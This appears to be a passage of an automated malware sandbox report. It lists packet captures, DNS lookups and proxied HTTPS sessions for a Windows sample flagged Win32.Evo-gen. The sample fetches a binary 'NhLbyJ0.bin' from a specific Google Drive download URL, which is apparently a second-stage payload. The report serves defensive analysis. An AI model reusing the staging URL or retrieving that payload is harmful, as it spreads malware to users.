Feb 18, 2025 05:36:16.691577911 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.691623926 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.691925049 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.691978931 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.691986084 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.692024946 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.698230028 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.702896118 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.702905893 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.703043938 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.704636097 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.704689026 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.704695940 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.704741955 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.710896015 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.715401888 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.715411901 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.715639114 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.717210054 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.717274904 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.717283010 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.717324018 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.723009109 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.727556944 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.727567911 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.727613926 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.728560925 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.728621960 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.728630066 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.728669882 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.734225035 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.734482050 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.734491110 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.734529972 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.739912987 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.739974022 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.739986897 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.740026951 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.745640039 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.745693922 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.745703936 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.745743036 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.751260042 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.754447937 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.779768944 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.780009985 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.780055046 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.780093908 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.780097961 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.780162096 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.780232906 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.780234098 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.780234098 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.780756950 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.780842066 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.780898094 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.780952930 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.783655882 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.785614967 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.785633087 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.785677910 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.789388895 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.789448023 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.789460897 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.789500952 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.795021057 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.795193911 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.795257092 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.795268059 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.795308113 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.800798893 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.803348064 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.803358078 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.803396940 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.806482077 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.811238050 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.811248064 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.811284065 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.812052965 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.812096119 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.812108040 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.812151909 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.817780972 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.822587967 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.822599888 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.822639942 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.823592901 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.823643923 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.823649883 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.823684931 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.828969002 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.829993963 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.830005884 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.830060005 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.834007025 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.838614941 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.838624001 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.838659048 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.838699102 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.838740110 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.838790894 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.838833094 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.843168974 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.847326994 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.847332954 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.847373962 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.847435951 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.847477913 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.847537994 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.847573996 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.851437092 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.851514101 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.851521969 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.851531029 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.851551056 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.851593971 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.855439901 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.856780052 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.856786966 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.856823921 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.859505892 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.860686064 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.860701084 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.860752106 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.863126993 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.864449024 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.864456892 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.864510059 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.867022038 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.868053913 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.868069887 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.868108034 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.870973110 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.871722937 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.871731043 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.871767998 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.875760078 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.875823975 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.875879049 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.875885010 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.875925064 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.876106977 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.876149893 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.877927065 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.880316019 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.880359888 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.880367041 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.880377054 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.880414009 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.880424023 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.882541895 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.884960890 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.884999990 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.885015965 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.885024071 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.885040045 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.885070086 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.887203932 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.889599085 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.889604092 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.889614105 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.889640093 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.889672041 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.889678001 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.892009974 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.903795958 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.903872967 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.903920889 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.903929949 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.903965950 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.904232979 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.904280901 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.904287100 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.904323101 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.904329062 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.904364109 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.904370070 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.904400110 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.905144930 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.905183077 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.905189991 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.905226946 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.905232906 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.905273914 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.905278921 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.905314922 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.905934095 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.906039000 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.906292915 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.908032894 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.908077002 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.908083916 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.908124924 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.908169031 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.908210993 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.910351038 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.912631035 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.912664890 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.912688971 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.912698030 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.912707090 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.912730932 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.914963961 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.915533066 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.915539980 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.915577888 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.917391062 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.917435884 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.917443037 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.917481899 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.919610023 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.921775103 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.921782970 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.921819925 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.922409058 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.922449112 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.922458887 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.922502041 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.924204111 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.924279928 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.924290895 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.924333096 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.927139044 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.927264929 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.927272081 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.927306890 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.928641081 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.928776979 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.928824902 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.928836107 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.928881884 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.931632996 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.931672096 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.931678057 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.931723118 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.933357954 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.933415890 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.933423042 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.933470964 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.935997009 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.936048031 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.936053991 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.936099052 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.937796116 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.939939976 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.939976931 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.940001011 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.940017939 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.940049887 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.940071106 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.941955090 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.944346905 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.944376945 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.944401979 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.944416046 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.944436073 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.944447041 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.946314096 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.949403048 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.949449062 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.949474096 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.949481964 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.949501038 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.949506044 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.950315952 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.953207016 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.953249931 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.953263044 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.953269958 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.953291893 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.953310013 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.957175970 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.957324028 CET	443	49738	142.250.185.193	192.168.2.4
Feb 18, 2025 05:36:16.957382917 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.962084055 CET	49738	443	192.168.2.4	142.250.185.193
Feb 18, 2025 05:36:16.962100029 CET	443	49738	142.250.185.193	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 18, 2025 05:36:12.434952974 CET	58874	53	192.168.2.4	1.1.1.1
Feb 18, 2025 05:36:12.442167997 CET	53	58874	1.1.1.1	192.168.2.4
Feb 18, 2025 05:36:13.504118919 CET	61842	53	192.168.2.4	1.1.1.1
Feb 18, 2025 05:36:13.513096094 CET	53	61842	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 18, 2025 05:36:12.434952974 CET	192.168.2.4	1.1.1.1	0x76c0	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Feb 18, 2025 05:36:13.504118919 CET	192.168.2.4	1.1.1.1	0xf8d9	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Feb 18, 2025 05:36:12.442167997 CET	1.1.1.1	192.168.2.4	0x76c0	No error (0)	drive.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Feb 18, 2025 05:36:13.513096094 CET	1.1.1.1	192.168.2.4	0xf8d9	No error (0)	drive.usercontent.google.com		142.250.185.193	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49737	216.58.212.174	443	7716	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-18 04:36:13 UTC	216	OUT	GET /uc?export=download&id=1HW-z32VgdxHAatMJ2j1S3-3Si0CkkZFB HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache
2025-02-18 04:36:13 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 18 Feb 2025 04:36:13 GMT Location: https://drive.usercontent.google.com/download?id=1HW-z32VgdxHAatMJ2j1S3-3Si0CkkZFB&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-rmX7_fYL1rdOm6X3jV1ipw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49738	142.250.185.193	443	7716	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-18 04:36:14 UTC	258	OUT	GET /download?id=1HW-z32VgdxHAatMJ2j1S3-3Si0CkkZFB&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-02-18 04:36:16 UTC	5006	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AHMx-iH0FAiZfLGZBZH9IvyfFQXlJmt_gTk3AAMt_W05npVPPZK4iGgsVCAUR9SsEo6YTlw Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="NhLbyJ0.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, 